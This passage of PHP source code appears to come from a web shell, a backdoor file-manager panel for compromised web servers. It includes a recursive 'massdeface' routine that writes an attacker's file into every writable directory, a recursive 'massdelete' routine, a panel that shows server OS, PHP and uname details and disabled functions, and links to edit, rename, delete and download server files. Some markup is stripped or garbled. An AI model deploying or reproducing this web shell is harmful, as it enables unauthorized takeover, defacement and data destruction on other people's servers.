" . $perm . "
"; } } function r($dir, $perm) { if (!is_readable($dir)) { return "" . $perm . "
"; } else { return "" . $perm . "
"; } } function massdeface($dir, $file, $filename, $type = null) { $scandir = scandir($dir); foreach ($scandir as $dir_) { $path = "$dir/$dir_"; $location = "$path/$filename"; if ($dir_ === "." || $dir_ === "..") { file_put_contents($location, $file); } else { if (is_dir($path) and is_writable($path)) { echo $location . PHP_EOL; file_put_contents($location, $file); if ($type === "-alldir") { massdeface($path, $file, $filename, "-alldir"); } } } } } function massdelete($dir, $filename) { $scandir = scandir($dir); foreach ($scandir as $dir_) { $path = "$dir/$dir_"; $location = "$path/$filename"; if ($dir_ === '.') { if (file_exists("$dir/$filename")) { unlink("$dir/$filename"); } } elseif ($dir_ === '..') { if (file_exists(dirname($dir) . "/$filename")) { unlink(dirname($dir) . "/$filename"); } } else { if (is_dir($path) and is_writable($path)) { if (file_exists($location)) { print "[ DELETED ] " . $location . PHP_EOL; unlink($location); massdelete($path, $filename); } } } } } function perms($file) { $perms = fileperms($file); if (($perms & 0xC000) == 0xC000) { // Socket $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { // Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { // Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { // Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { // Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { // Character special $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { // FIFO pipe $info = 'p'; } else { // Unknown $info = 'u'; } // Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x') : (($perms & 0x0800) ? 'S' : '-')); // Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x') : (($perms & 0x0400) ? 'S' : '-')); // World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x') : (($perms & 0x0200) ? 'T' : '-')); return $info; } function getfile($dir, $file, $label) { ?>OS : = $os ?>
PHP Version : = PHP_VERSION ?>
Software : = $_SERVER['SERVER_SOFTWARE'] ?>
Information System : = php_uname() ?>
Disable Function : = $disable ?>
| Name | Filetype | Perm | Option |
|---|---|---|---|
| = $href ?> | = $dtype ?> | = w("$dir/$direc", perms("$dir/$direc")) ?> | = $act_dir ?> |
| ">= $file ?> | = $ftype ?> | = w("$dir/$file", perms("$dir/$file")) ?> | ">edit | ">rename | ">delete | ">download |